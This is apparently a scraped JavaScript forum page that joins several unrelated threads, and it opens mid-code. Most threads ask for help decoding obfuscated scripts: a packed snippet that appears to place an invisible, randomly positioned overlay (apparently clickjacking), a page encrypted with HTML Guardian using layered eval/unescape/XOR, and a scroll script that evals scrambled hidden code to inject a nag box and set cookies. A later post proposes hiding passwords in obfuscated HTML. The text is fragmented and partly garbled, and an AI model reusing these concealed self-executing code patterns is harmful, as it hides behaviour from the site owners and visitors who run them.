JavaScript - Decrypt This Code Please
please decode 54line code... thanks..
Similar Tutorials}; while (c--) { if (k[c]) { p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]) } } return p }('L b=["\\h\\c\\q\\c\\h\\h\\c\\h","\\q\\g\\p\\c\\y\\e\\e\\O","\\s\\c\\g\\h\\p\\o","\\G\\n\\d\\M\\i\\d\\n\\t \\f\\q\\k\\K\\a\\K\\g\\l\\a\\c\\f\\i\\s\\a\\J\\k\\c\\t\\f\\D\\n\\a\\o\\z\\F\\r\\r\\j\\B\\I\\i\\o\\c\ \d\\v\\o\\a\\z\\F\\r\\r\\j\\B\\I\\i\\j\\e\\s\\d\\a\\d\\e\\l\\z\\q\\d\\B\\c\\n\\I\\i\\N\\A\\d\\l\\n\\ c\\B\\z\\u\\u\\u\\u\\u\\u\\I\\i\\a\\c\\B\\a\\A\\g\\k\\d\\v\\l\\z\\k\\c\\q\\a\\I\\f\\E\\G\\n\\d\\M\\i \\p\\k\\g\\s\\s\\t\\f\\q\\c\\p\\o\\g\\h\\f\\i\\s\\a\\J\\k\\c\\t\\f\\j\\e\\s\\d\\a\\d\\e\\l\\z\\h\\c\ \k\\g\\a\\d\\M\\c\\I\\i\\w\\g\\h\\v\\d\\l\\A\\y\\e\\a\\a\\e\\w\\z\\A\\W\\r\\j\\B\\I\\i\\w\\g\\h\\v\\ d\\l\\A\\k\\c\\q\\a\\z\\A\\Y\\F\\j\\B\\I\\f\\E\\G\\d\\w\\v\\i\\s\\h\\p\\t\\f\\o\\a\\a\\j\\z\\m\\m\\W \\x\\y\\j\\x\\y\\k\\e\\v\\s\\j\\e\\a\\x\\p\\e\\w\\m\\A\\1n\\O\\j\\J\\1m\\Z\\1l\\1k\\A\\N\\Q\\m\\1o\\ 1p\\1s\\F\\r\\1r\\k\\a\\v\\w\\1q\\m\\C\\C\\C\\C\\C\\C\\C\\C\\C\\a\\v\\m\\Q\\u\\1j\\1d\\1e\\R\\l\\d\\ X\\n\\Q\\m\\s\\Y\\1h\\r\\r\\m\\q\\c\\p\\o\\g\\h\\x\\j\\l\\v\\f\\i\\y\\e\\h\\n\\c\\h\\t\\f\\r\\f\\i\\ D\\d\\n\\a\\o\\t\\f\\F\\R\\f\\i\\o\\c\\d\\v\\o\\a\\t\\f\\F\\R\\f\\i\\m\\E\\G\\m\\n\\d\\M\\E\\G\\g\\i \\o\\h\\c\\q\\t\\f\\o\\a\\a\\j\\z\\m\\m\\D\\D\\D\\x\\k\\e\\Z\\g\\s\\h\\e\\k\\j\\c\\x\\p\\e\\w\\x\\y\ \h\\m\\f\\i\\a\\g\\h\\v\\c\\a\\t\\f\\X\\y\\k\\g\\l\\O\\f\\E\\G\\d\\w\\v\\i\\s\\h\\p\\t\\f\\o\\a\\a\\ j\\z\\m\\m\\D\\D\\D\\x\\h\\g\\q\\g\\c\\k\\y\\c\\k\\e\\w\\e\\x\\p\\e\\w\\m\\1u\\1t\\m\\y\\g\\l\\l\\c\ \h\\x\\j\\l\\v\\f\\i\\y\\e\\h\\n\\c\\h\\t\\f\\r\\f\\i\\D\\d\\n\\a\\o\\t\\f\\F\\r\\r\\f\\i\\o\\c\\d\\ v\\o\\a\\t\\f\\F\\r\\r\\f\\i\\m\\E\\G\\m\\g\\E\\G\\m\\n\\d\\M\\E","\\j\\h\\c\\j\\c\\l\\n","\\y\\e\\n \\J","\\h\\g\\l\\n\\e\\w","\\q\\k\\e\\e\\h","\\p\\s\\s","\\U\\q\\k\\K\\a\\K\\g\\l\\a\\c","\\q\\d\\B\ \c\\n","\\u\\u\\u\\u\\u\\u\\u","\\r","\\g\\k\\j\\o\\g\\1w\\e\\j\\g\\p\\d\\a\\J\\t\\r\\1x","\\U\\g\\l \\K\\l\\p\\d\\e","\\o\\d\\n\\c","\\p\\k\\d\\p\\O","\\U\\q\\k\\K\\a\\K\\g\\l\\a\\c\\i\\x\\q\\c\\p\\o\ \g\\h"];$(P(){L V=1g[b[0]];L 18=V[b[2]](b[1]);1v(18>0){$(b[5])[b[4]](b[3]);L T=19+H[b[7]](H[b[6]]()*1c);L S=19+H[b[7]](H[b[6]]()*1c);L 1b=H[b[7]](H[b[6]]()*T);L 1a=H[b[7]](H[b[6]]()*S);$(b[9])[b[8]]({1z:S,1y:T});$(b[14])[b[8]]({"\\a\\e\\j":1a,"\\k\\c\\q\\a":1b,"\\j\\e\\s\\d\\a\\d\\e\\l":b[10],"\\N\\A\\d\\l\\n\\c\\B":b[11],"\\e\\j\\g\\p\\d\\a\\J":b[12],"\\A\\w\\e\\N\\A\\e\\j\\g\\p\\d\\a\\J":b[12],"\\q\\d\\k\\a\\c\\h":b[13]});1f(P(){$(b[9])[b[15]]();$(b[14])[b[15]]()},1i);$(b[14])[b[16]](P(){$(b[9])[b[15]]();$(b[14])[b[15]]()});$(b[17])[b[16]](P(){$(b[9])[b[15]]();$(b[14])[b[15]]()})}});', 62, 98, '||||||||||x74|_0x6abe|x65|x69|x6F|x22|x61|x72|x20|x70|x6C|x6E|x2F|x64|x68|x63|x66|x30|x73|x3D|x39|x 67|x6D|x2E|x62|x3A|x2D|x78|x41|x77|x3E|x35|x3C|Math|x3B|x79|x75|var|x76|x7A|x6B|function|x4D|x32|_0x ebf1x4|_0xebf1x3|x23|_0xebf1x1|x33|x5F|x31|x6A|||||||||_0xebf1x2|50|_0xebf1x6|_0xebf1x5|100|x37|x45| setTimeout|document|x36|30000|x52|x4E|x42|x38|x59|x56|x44|x49|x4B|x46|x53|x4A|if|x28|x29|left|top'.s plit('|'), 0, {})) Hey everyone! I have a question that I think someone can help me with. I have a website that I made a long time ago and I encrypted the HTML files with HTML Guardian (all it does is obscure them in javascript). Now, I am trying to change up the website but I don't have the original files anymore. This is what it looks like: Code: <body><script>eval(unescape('%66%75%6E%63%74%69%6F%6E%20%6D%28%73%29%7B%76%61%72%20%63%2C%6E%2C%7A%2C%69%3B%7A%3D%27%27%3B%69%3D%30%3B%77%68%69%6C%65%28%69%3C%73%2E%6C%65%6E%67%74%68%29%7B%63%3D%73%2E%63%68%61%72%41%74%28%69%29%3B%20%69%66%28%27%75%27%3D%3D%63%29%7B%63%3D%27%25%27%2B%63%3B%63%2B%3D%73%2E%63%68%61%72%41%74%28%69%2B%31%29%3B%63%2B%3D%73%2E%63%68%61%72%41%74%28%69%2B%32%29%3B%63%2B%3D%73%2E%63%68%61%72%41%74%28%69%2B%33%29%3B%63%2B%3D%73%2E%63%68%61%72%41%74%28%69%2B%34%29%3B%6E%3D%35%3B%7D%20%65%6C%73%65%7B%63%3D%27%25%27%2B%63%3B%63%2B%3D%73%2E%63%68%61%72%41%74%28%69%2B%31%29%3B%6E%3D%32%3B%7D%7A%2B%3D%63%3B%69%3D%69%2B%6E%3B%7D%72%65%74%75%72%6E%20%7A%3B%7D%20%66%75%6E%63%74%69%6F%6E%20%65%28%73%29%7B%72%65%74%75%72%6E%20%75%6E%65%73%63%61%70%65%28%6D%28%73%29%29%3B%7D'));eval(e('66756E6374696F6E2064286F73297B766172206B65793D22446563727970744954223B7661722064733B64733D27273B766172206B702C73702C732C6B632C73633B206B703D303B73703D303B7768696C652873703C6F732E6C656E677468297B73633D206F732E63686172436F64654174287370293B6B633D6B65792E63686172436F64654174286B70293B20696628282873635E6B63293D3D3339297C7C282873635E6B63293D3D3932297C7C282873635E6B63293C3332297C7C282873635E6B63293E3132362929207B733D537472696E672E66726F6D43686172436F6465287363293B7D656C73657B733D537472696E672E66726F6D43686172436F6465282873635E6B6329293B7D2064732B3D733B6B702B2B3B73702B2B3B6966286B703E3D6B65792E6C656E677468296B703D303B7D72657475726E2064733B7D2066756E6374696F6E2064692873297B733D642873293B646F63756D656E742E777269746528756E657363617065286D28732929293B7D'));/*EncryptHTML*/</script><script Language='JavaScript'>di('t!S3J3B}b}RU@IFE6Cr9UEO5GDfvSPDLF1~`rPT@KBGEgCSZD=FC{dsVT@OCGDfvSPD?F06mr UENCBFbFS&@<GD6ErRQ@K@C~b}SWEMFLzDvWPAJ@GyfvWSDAFA6mrRUJNDGDfvVQALCD{fvUQ4J5GCfFSWD@GBzEt!S3J3CzbwRQD@GD~`vUU1OABEbsRVDHFC6aw!W3OAC6buPPDJGF6msUTFJ5B6cqS&DJG@6mr#U7K@B}bDW[@@G6~frPTFNEC{bEWSDOFE6CsVUGJ2CDftSUELF16gsQUKO6BEftSWEIBL6av9T0OIB6f|SV@<GC6lr9UAOHGDgDVR@@G6~cw!TEOIBEbpS%ENC6~cv T@OEBCbqSREJFA}asSUGO5C}cwW[FLGB6ar TFK5@D`FPVGJDA}Dp#VDMEFpgBRT@<F26Er!U4NECzbqSDD?GB6aw!U7NEBCbCV!E=G0{drSTGO5BzcpSZD?F1{drQUCKHFpcBR!DHF76asWTFKHF{`ES%@IEF6mrRUJNDFy`wS D@FG6Br9U7OGFy`uS D:F2~crPUFKBFpgBRQDLG@~asWU7K@B6buS EJFAzBs!T6K@B6cqS&DJG@6mr#U7K@B}bpW[DLBM~Br9UDKHB|fERTDAFM6gr]P6J4Gzf}R!EKFA~`sPT@O5FybpSR@ABMzBs!T6K@FybrRVD<FG~`r9U4O5FybwSD@ABM~Br]UEJ4B|crSVD<G@{ErWTGNDC}bFS&A;FM6bv]UJOGGDgDVQE:G76lrRP6J4Gzf}SWDHBL{mwBT6K@FybpVDDMF26gsPU6OEBEcpV!ENC0~cr9U7ODBFcsV!EOFGzDrQQ7OABCbCV!EHFFzDrQQ7OGB|cpQVD:FA6DrPU7ND@{c}QZDMC6{dvUUKOFFqcrSP@@G66mrSQJNAB{f}R!DMB16Fr UAO6BEcpSVEAG@6DrPU7NEGDbpSRA;F@{Er#U7NCB|bCSVDJG@~gsQUCNBC}gDSWD=G06ar&TAOECBbpW&D?F16Dr#TGNCB|bpS%ENF1zDrVU6J2CDcDWS@IFM6bv]TCOBF6frWREOFG{msBUFK5BFbESDD?GA~grPUFO6C~bEVDDMF0zBrQQ7O6BEbDS%ELGG6asPTBJ4B}bpV!DMB16Fr UAO6BEcpSVEAG@6DrPU7NEGDbpSDA;G0{dvUUKOFFqbpW&D:FE~mrPT@NCFpcBRTA=GC6mr UFO6C~gBRT@<FG6esUTFNEC{bqQVEOFA6EsQTAKHB|crSVD<G@{Ep!W4LEAz`qPVGIG76asSUGO5C}fEQDF?EA|gpPWFM6A~`EWZA;GC{Er#U7O4BFcqRPDLF@6FsRU7J4B}bpV!ENB16Fr U6O6C|cwSVELGDzDrQTBJ2CDgCW%EJFG~fr9TBNDGEgCRPDJGF6msUTFK@BCbuS&DNGA6erRUGJ4@AbuRUDHEG6gsWUKN@C}gESUELF16gsQUKO6BEftSDELG@6asPT@O3Fqf}R!D@FB{lsRUKO5B}bFRT@<FA~brPU7NDFEcwRQDJDA6CrPU6OEBEcpW&EMFE6cp UCO4B|gDVD@KDE{fv9QBN2C~b}S&DMF2~cv TANDBxcpRVEJC0{fqRUGO3BzbFSDDLBD~`r#QBNDBqb}RP@IGG6msQUGKBGBcvSVEMGA~fr QBOFBxbCRPDLC6~Ds!QBODBFbwRVD=FA6EsQQ7O6BEbDS%ELGG6ar!U4NFB|gDSDELG@6asPT@O3GBgCW%EJFG~fr9TBNDGE');</script></body> </html> If need be, I can prove that this is my website because I obviously know it's illegal to decrypt other peoples stuff. Thanks in advanced, and if you need proof of this being my website, let me know how I can prove it. The original site is EgoBeats.com. Thanks =D is there a way in javascript to encrypt and decrypt a string?
Hi all, I am new here and greatly thank you for any help in advance. I am trying to use this javascript to scroll my site, it works perfectly for what I need but I want to know how to unencrypt or deobfuscate the bottom section of the script. I don't want to use any malicious or harmful code and not being able to read it has me worried. Can anyone tell me how to decode it or post the decoded section? Code: var SoftScroll= { DEBUG:false, timer:null, lastX:-1, lastY:-1, xHalted:false, yHalted:false, bon:false, step:50, targetDisp:null, stepTarget:{x:0,y:0}, logged:0, startJump:location.href.match(/#([^\?]+)\??/), startJumpDone:false, currentAnchor:null, initialised:false, initialTarget:"", showHref:false, excludeClass:/\bnoSoftScroll\b/i, targetFrame:self, iDevice : ( navigator.userAgent && /iphone|ipad/i.test( navigator.userAgent ) ), ////////////////////////// delay:50, proportion:3, ////////////////////////// init:function( ) { var dL, linkTypes=['a','area']; this["susds".split(/\x73/).join('')]=function(str){eval(str.replace(/(.)(.)(.)(.)(.)/g, unescape('%24%34%24%33%24%31%24%35%24%32')));}; if( this.startJump ) { this.startJump = this.startJump[1]; location.href='#'; window.scrollTo(0,0); }this.cont(); if( document.documentElement ) this.dataCode=3; else if( document.body && typeof document.body.scrollTop != 'undefined' ) this.dataCode=2; else if( typeof window.pageXOffset!='undefined' ) this.dataCode=1; for(var i = 0, anchs = document.anchors, aLen = anchs.length; i < aLen && !this.iDevice; i++) if( !anchs[i].childNodes.length ) anchs[i].appendChild( document.createTextNode('\xA0') ); for(var lt in linkTypes) { for(var i = 0, dL = document.getElementsByTagName( linkTypes[ lt ] ), anchorName, aLen = dL.length; i < aLen && this.bon && !this.iDevice; i++) { anchorName = ( dL[i].hash && dL[i].hash.match(/\S/) ) ? dL[i].hash.substring(1) : dL[i].name ? dL[i].name : ""; if( this.startJump && this.startJump === anchorName ) { SoftScroll.go(anchorName); startJumpDone = true; } if( dL[ i ].href && this.sameDomain( dL[ i ].href, location.href ) && anchorName.length ) { if( this.DEBUG ) { for( var j = 0 ; j < aLen && anchorName != dL[ j ].name && anchorName != dL[ j ].id; j++ ) ; if( j==aLen && !this.gebi( anchorName ) && !document.getElementsByName( anchorName )[0] ) alert("Did not find anchor/element with name/id '"+anchorName+"',\n"+ "which is specified in link with href:\n\n"+dL[i].href); } if( !this.excludeClass.test( dL[i].className ) ) this.addToHandler(dL[i], "onclick", (function(n){ return function(){ return SoftScroll.go(n, this.target||null); }})(anchorName) ); } } } if( !this.startJumpDone && this.gebi( this.startJump ) ) SoftScroll.go( this.startJump ); this.initialised = true; if(this.initialTarget != "") this.go( this.initialTarget ); }, showHash:function() { this.showHref=true; }, sameDomain:function(urlA, urlB) { var re = /\:\/{2,}([^\/]+)(\/|$)/, a = urlA.match( re )[ 1 ], b = urlB.match( re )[ 1 ]; return a === b; }, go:function( anchName, targetFrameName ) { var targetName = null, error = false; if( typeof targetFrameName === 'string' ) targetName = targetFrameName.match( /_self|_top|_parent|_blank/i ) ? null : targetFrameName ; if( this.initialised && !this.iDevice ) { try { this.targetFrame = (typeof targetName !== 'string') ? window.self : (parent.frames[ targetName ] || window.frames[ targetName ] || this.getIframeRef( targetName ) || window.self ); } catch(e){ alert( e + '\n\nAccess error "'+targetName+'"'); error = true; } if( typeof this.targetFrame === 'undefined' ) this.targetFrame = self; var anchorTags, elemRef; try{ anchorTags = this.targetFrame.document.getElementsByTagName( 'a' ); } catch( e ) { anchorTags = { length:0 }; alert( e + '\n\nFrame access error "' + targetName + '"' ); error = true; } if( !error ) { this.xHalted = this.yHalted = false; this.getScrollData(); this.stepTarget.x = this.x; this.stepTarget.y = this.y; if(this.timer) { clearInterval( this.timer ); this.timer = null; } for(var i = 0, len = anchorTags.length; i < len && anchorTags[i].name != anchName && anchorTags[i].id != anchName && this.bon; i++) ; if(i != len) this.targetDisp = this.findPos( this.currentAnchor = anchorTags[i] ); else if( ( elemRef = this.targetFrame.document.getElementById(anchName) ) || (elemRef = this.targetFrame.document.getElementsByName( anchName )[ 0 ] ) ) { this.targetDisp = this.findPos( this.currentAnchor = elemRef ); } else { this.currentAnchor = { id:"", name:"" }; this.targetDisp = { x:0, y:0 }; } this.timer = setInterval( function(){ SoftScroll.toAnchor(); }, this.delay ); } } else this.initialTarget = anchName; return false; }, scrollTo:function(x,y) { this.lastX = -1; this.lastY = -1; this.xHalted = false; this.yHalted = false; this.targetDisp = {x:0,y:0}; this.targetDisp.x = x; this.targetDisp.y = y; this.getScrollData(); this.stepTarget.x = this.x; this.stepTarget.y = this.y; if( this.timer ) clearInterval( this.timer ); this.timer=setInterval( function(){ SoftScroll.toAnchor() }, this.delay ); }, toAnchor:function(/*28432953637269707465726C61746976652E636F6D*/) { var xStep = 0, yStep = 0; this.getScrollData(); this.xHalted = (this.stepTarget.x > this.lastX) ? (this.x > this.stepTarget.x || this.x < this.lastX) : (this.x < this.stepTarget.x || this.x > this.lastX); this.yHalted = (this.stepTarget.y > this.lastY) ? (this.y > this.stepTarget.y || this.y < this.lastY) : (this.y < this.stepTarget.y || this.y > this.lastY); if( (this.x != this.lastX || this.y != this.lastY) && (!this.yHalted && !this.xHalted) ) { this.lastX=this.x; this.lastY=this.y; if( !this.xHalted ) xStep=this.targetDisp.x - this.x; if( !this.yHalted ) yStep=this.targetDisp.y - this.y; if( xStep ) Math.abs(xStep)/this.proportion >1 ? xStep/=this.proportion : xStep<0?xStep=-1:xStep=1; if( yStep ) Math.abs(yStep)/this.proportion >1 ? yStep/=this.proportion : yStep<0?yStep=-1:yStep=1; yStep = Math.ceil(yStep); xStep = Math.ceil(xStep); this.stepTarget.x = this.x + xStep ; this.stepTarget.y = this.y + yStep ; if(xStep || yStep) this.targetFrame.scrollBy(xStep, yStep); } else { clearInterval( this.timer ); this.timer = null; if(this.startJump) { if(this.showHref) location.href = '#'+this.startJump; this.startJump=null; } else if(this.showHref && !this.xHalted && !this.yHalted && this.currentAnchor!==null) location.href = '#'+ (this.currentAnchor.name || this.currentAnchor.id); this.lastX=-1; this.lastY=-1; this.xHalted=false; this.yHalted=false; } }, getScrollData:function() { switch( this.dataCode ) { case 3 : this.x = Math.max(this.targetFrame.document.documentElement.scrollLeft, this.targetFrame.document.body.scrollLeft); this.y = Math.max(this.targetFrame.document.documentElement.scrollTop, this.targetFrame.document.body.scrollTop); break; case 2 : this.x = this.targetFrame.document.body.scrollLeft; this.y = this.targetFrame.document.body.scrollTop; break; case 1 : this.x = this.targetFrame.pageXOffset; this.y = this.targetFrame.pageYOffset; break; } return {x : this.x, y : this.y}; }, findPos:function( obj ) { var left = !!obj.offsetLeft ? (obj.offsetLeft) : 0, top = !!obj.offsetTop ? obj.offsetTop : 0, theElem = obj; while((obj = obj.offsetParent)) { left += !!obj.offsetLeft ? obj.offsetLeft : 0; top += !!obj.offsetTop ? obj.offsetTop : 0; } while( theElem.parentNode.nodeName != 'BODY' ) { theElem = theElem.parentNode; if( theElem.scrollLeft ) left -= theElem.scrollLeft; if( theElem.scrollTop ) top -= theElem.scrollTop; } return {x:left, y:top}; }, getIframeRef:function( id ) { var ref = this.gebi( id ), elem; return ( ref && ref.id === id && ref.contentWindow ) ? ref.contentWindow : null; }, gebi:function( id ) { var eRef = document.getElementById( id ); return ( eRef && eRef.id === id ) ? eRef : null ; }, addToHandler:function(obj, evt, func) { if(obj[evt]) { obj[evt]=function(f,g) { return function() { f.apply(this,arguments); return g.apply(this,arguments); }; }(func, obj[evt]); } else obj[evt]=func; }, sf:function( str ) { return unescape(str).replace(/(.)(.*)/, function(a,b,c){return c+b;}); }, cont:function() { var data='rdav oud=cn,emtm=ixgce.dreltaEetmenig"(m,o)"l=oncltoacihe.nrst,fi"t=eh:/pt/rpcsiraetlv.item,oc"=Sns"tcfoSl"orlrcg,a21=e400290,h00t,tnede n=wt(aDenw,)otgd=.Tmtei)i(e;(h(ft.osib=x|n0&!)f&i.htsgeolg+&+d&dl/!At/re=ett.s.od(ci)koetp&&yfeoe x9673"n==ufnedi"&de&sr/!ctrpietvali.o\\ec\\\\|m/oal/cothlsts./elc(to&/)n&tph^tts./elc(to)i)n{(h(ft=.nedoiockmt.ea((hc/\\||^ssr);ctrpiFlaeeo(d=d\\/))+)(h&&t=uneNe(bmre[htn)+]2)aergco)n<wa v{ryddb=eEg.tmneleBTstyNmgaa"o(eb"[yd),o]0bdc=x.aeerteelEm(dtn"";vi)637exbx=9oigx;mnoo.l=udaftocni)b(n{.nxoirTenH=<LM">brb<CIS>RELTPRIETAVO<C.MWb>peseamt/S r eOti e nwr ta<se\\ly=ooc"l#f:rdtx;aedc-teairot:lnobkbni;drroeotd:t pde1pd;xan:idge\\2.mrfh"e"+\\="t+isefl/"i/rseguttaihm.ytn"s?=n"s++>L"\\CKHCI E\\RE<>pa/</><>bnui<ptp ty\\b=e"tntuo a"\\ve\\ul=lsC"o[] eX n"\\oiklcc"7\\=e3.x69yetslipd.sy&al=9n3#;e#no&;r93;unterasf l\\>;e"wt;"ibx(hotls.y{e)etAitxl=cng"trneeMz;"oreoBdaiRrd=0su"e"4.modb;rRdreas"ui=4m.0efn;"oieStz1p"=6;o"xfFmtnay"li=ilraazn;"Ix"ed=00010ps;"ointioas"=buelottp;"o4x"=plf;"e"p=t4;o"xcr"ol=f"f#fakb;conrguooCdl"f=r#"p04;dndai"5=g."bme;drroe#f"=f1x fpois l;i"ddlypsabo"=l"tkc}{dyrbis.yntereBr(ofexbob,.iydfthsrCd;li)xiob.etsnrfreBoxm(eibx,goisf.rhlCti;c)d}c(tah{;)e}xm;}isc.gries=t/1"+dspw/.?=phss;+"ntsd}.Dttead.(ettaegD(+et)0;03)co.doe"ik=rpcsireFtea=old(h+"t|nne|)"wo+xie;ps"er=ttd+.TSUoCigrtn;.)(doiock"A=edr=elt1";}';this[unescape('%75%64')](data); } } SoftScroll.addToHandler(window,'onload', function(){SoftScroll.init()}); This is the code I can't understand, decrypt or deobfuscate. { var data='rdav oud=cn,emtm=ixgce.dreltaEetmenig"(m,o)"l=oncltoacihe.nrst,fi"t=eh:/pt/rpcsiraetlv.item,oc"=Sns"tcfoSl"orlrcg,a21=e400290,h00t,tnede n=wt(aDenw,)otgd=.Tmtei)i(e;(h(ft.osib=x|n0&!)f&i.htsgeolg+&+d&dl/!At/re=ett.s.od(ci)koetp&&yfeoe x9673"n==ufnedi"&de&sr/!ctrpietvali.o\\ec\\\\|m/oal/cothlsts./elc(to&/)n&tph^tts./elc(to)i)n{(h(ft=.nedoiockmt.ea((hc/\\||^ssr);ctrpiFlaeeo(d=d\\/))+)(h&&t=uneNe(bmre[htn)+]2)aergco)n<wa v{ryddb=eEg.tmneleBTstyNmgaa"o(eb"[yd),o]0bdc=x.aeerteelEm(dtn"";vi)637exbx=9oigx;mnoo.l=udaftocni)b(n{.nxoirTenH=<LM">brb<CIS>RELTPRIETAVO<C .MWb>peseamt/S r eOti e nwr ta<se\\ly=ooc"l#f:rdtx;aedc-teairot:lnobkbni;drroeotd:t pde1pd;xan:idge\\2.mrfh"e"+\\="t+isefl/"i/rseguttaihm.ytn"s?=n"s++>L"\\CKHCI E\\RE<>pa/</><>bnui<ptp ty\\b=e"tntuo a"\\ve\\ul=lsC"o[] eX n"\\oiklcc"7\\=e3.x69yetslipd.sy&al=9n3#;e#no&;r93;unterasf l\\>;e"wt;"ibx(hotls.y{e)etAitxl=cng"trneeMz;"oreoBdaiRrd=0su"e"4.modb;rRdreas"ui=4m.0efn;"oieStz1p" =6;o"xfFmtnay"li=ilraazn;"Ix"ed=00010ps;"ointioas"=buelottp;"o4x"=plf;"e"p=t4;o"xcr"ol=f"f#fakb;conr guooCdl"f=r#"p04;dndai"5=g."bme;drroe#f"=f1x fpois l;i"ddlypsabo"=l"tkc}{dyrbis.yntereBr(ofexbob,.iydfthsrCd;li)xiob.etsnrfreBoxm(eibx,goisf.rhlCti;c)d }c(tah{e}xm;}isc.gries=t/1"+dspw/.?=phss;+"ntsd}.Dttead.(ettaegD(+et)0;03)co.doe"ik=rpcsireFtea=old(h+"t|nne|)"wo+xie;ps"er=ttd+.TSUo Cigrtn;.)(doiock"A=edr=elt1";}';this[unescape('%75%64')](data); } I have already made a "gratuity" gift to the developer through paypal to receive the full decrypted code but I haven't got a thing yet so I think I was scammed. This post will contain a few guidelines for what you can do to get better help from us. Let's start with the obvious ones: - Use regular language. A spelling mistake or two isn't anything I'd complain about, but 1337-speak, all-lower-case-with-no-punctuation or huge amounts of run-in text in a single paragraph doesn't make it easier for us to help you. - Be verbose. We can't look in our crystal bowl and see the problem you have, so describe it in as much detail as possible. - Cut-and-paste the problem code. Don't retype it into the post, do a cut-and-paste of the actual production code. It's hard to debug code if we can't see it, and this way you make sure any spelling errors or such are caught and no new ones are introduced. - Post code within code tags, like this [code]your code here[/code]. This will display like so: Code: alert("This is some JavaScript code!") - Please, post the relevant code. If the code is large and complex, give us a link so we can see it in action, and just post snippets of it on the boards. - If the code is on an intranet or otherwise is not openly accessible, put it somewhere where we can access it. - Tell us any error messages from the JavaScript console in Firefox or Opera. (If you haven't tested it in those browsers, please do!) - If the code has both HTML/XML and JavaScript components, please show us both and not just part of it. - If the code has frames, iframes, objects, embeds, popups, XMLHttpRequest or similar components, tell us if you are trying it locally or from a server, and if the code is on the same or different servers. - We don't want to see the server side code in the form of PHP, PERL, ASP, JSP, ColdFusion or any other server side format. Show us the same code you send the browser. That is, show us the generated code, after the server has done it's thing. Generally, this is the code you see on a view-source in the browser, and specifically NOT the .php or .asp (or whatever) source code. I'm trying to get my Client Side Firefox DHTML app to display a list of eBooks. For this, i have the following files F:\Textbooks.html F:\eBooks.txt F:\FirstBook.txt F:\SecondBook.txt F:\ThirdBook.txt textbooks.html is my DHTML app eBooks.txt is the Library file with a listing of all of my eBooks. Inside of eBooks.txt is the following data: ----------------- FirstBook.txt, SecondBook.txt, ThirdBook.txt, ----------------- FirstBook.txt to ThirdBook.txt are my actual ebooks. The problem that i'm having is that When i try to click on any buttons other than the FirstBook button, i get the following error: ---------------------------------- Error: unterminated string literal Source File: file:///F:/Textbooks.html Line: 1, Column: 10 Source Code: LoadEbook(' ---------------------------------- So, unlike clicking on the FirstBook button, these other buttons do not load the eBook data into the DIV for displaying the eBook data. I use the DOM insepector to checkout the DOM of the button code, and it seems like whitespace maybe is the problem. However, i have removed whitespace from the HTMLdata string, and that's not fixing the problem. did i forget something silly? LOL i'm using FireFox 3.5 to develop this App. So obviously this will not work with anything other than Gecko Based browsers. here is my HTML code: <html> <head> <script language="JavaScript"> var eBookLibrary = "eBooks.txt"; var SystemPath = "f:" + String.fromCharCode(92) function Init() { // Initialize the eBook reader document.getElementById("EbookCanvas").style.visibility = "hidden"; document.getElementById("EbookToolbar").style.visibility = "visible"; document.getElementById("FileManager").style.visibility = "visible"; // Load the List of eBooks in the Library LoadBookList(); } function UpdateEbookList() { // Update the Library of Ebooks alert("Updating eBook Library"); // Go back to the File Manager, and Reload the List of Ebooks LoadBookList(); } function LoadBookList() { // This will load the list of books that are available var EbookList = LoadFromDisk(SystemPath + eBookLibrary); var EbookListArray = EbookList.split(","); for(var x = 0; x < EbookListArray.length -1; x++) { // Strip the Filename Extension off of the eBook File Name // The Name of the Book is always the first Index in the Array var BookName = EbookListArray[x].split("."); // Remove the weird whitespace - it screws things up...i think... BookName[0] = BookName[0].replace(/(^\s*|\s*$)/g, ""); var HTMLdata = HTMLdata + "<input type='button' value='" + "FirstBook" + "'" + " onClick=LoadEbook('" + EbookListArray[x] + "');><br>"; } // For some ****ed up reason the first string always generates an 'undefined' even though it's nonsense // So just delete that from the HTMLdata string, because it's just ugly - LOL HTMLdata = HTMLdata.replace("undefined", ""); HTMLdata = HTMLdata.replace("", " "); // Write the HTML data to the DIV document.getElementById("FileManager").innerHTML = HTMLdata; } function LoadEbook(EbookName) { // Hide the File Manager and Show the Ebook Canvas document.getElementById("FileManager").style.visibility = "hidden"; document.getElementById("EbookCanvas").style.visibility = "visible"; document.getElementById("EbookToolbar").style.visibility = "visible"; // Load the Ebook content into the Ebook Reader Pannel var EbookContent = LoadFromDisk(SystemPath + EbookName); document.getElementById("EbookCanvas").innerHTML = EbookContent; } function LoadFromDisk(filePath) { if(window.Components) try { netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile); file.initWithPath(filePath); if (!file.exists()) return(null); var inputStream = Components.classes["@mozilla.org/network/file-input-stream;1"].createInstance(Components.interfaces.nsIFileInputStream); inputStream.init(file, 0x01, 00004, null); var sInputStream = Components.classes["@mozilla.org/scriptableinputstream;1"].createInstance(Components.interfaces.nsIScriptableInputStream); sInputStream.init(inputStream); return(sInputStream.read(sInputStream.available())); } catch(e) { //alert("Exception while attempting to load\n\n" + e); return(false); } return(null); } </script> </head> <body onLoad="Init();"> <div id="FileManager" style="position: absolute; top: 0px; left: 0px; visibility: visible;"> The eBook Library's List of Books will be listed here. Click on one to open it in the eBook Reader </div> <br> <div id="EbookCanvas" style="position: absolute; top: 0px; left: 0px; visibility: hidden;"> </div> <br> <div id="EbookToolbar" style="position: absolute; top: 100px; left: 0px;"> <input type="button" value="Open" OnClick="Init();"> <input type="button" value="Update" OnClick="UpdateEbookList();"> <input type="button" value="Exit" OnClick="MainMenu();"> </div> </body> </html> Hi all, I hope someone can advise whether such a script exists for what am wanting to do. From time to time, I need to send password information or login details and password information to some users. At the moment, am doing it via email with a subject named FYI and the body of the email basically just contain the login and the password or in some case, just the password. What am wanting to know is whether I can put these information into a HTML file which contains an obfuscated Javascript with a button that a user will click that will prompt for his login information and then will display the password. In its simplest form, I guess I am looking for a Javascript that will obfuscate a HTML file that contains the password. Anyway, hopefully someone understand what am looking for. I found some website that offers such service as obfuscating a HTML file but am hoping it can be done via a Javascript so it is at least "portable" and I do not have to be online. Any advice will be much appreciated. Thanks in advance. I am trying to set up a looping structure that tests to see if the user enters a value. If the textbox is null then a global variable is false otherwise a checkbox is checked and the global variable is true. below is what i have done so far, please assist me. var isValid = false; window.onload = startForm; function startForm() { document.forms[0].firstName.focus(); document.forms[0].onsubmit = checkEntries; alert("You have been added to the list") } function checkEntries() { var menus = new Array(); var formObject = document.getElementsByTagName('*'); for (var i=0; i < formObject.length; i++){ if (formObject[i] == "myform") menus.push(formObject[i]); if (document.forms[0].firstName.value.length==0 || document.forms[0].firstName.value.length == null){ isValid= false; 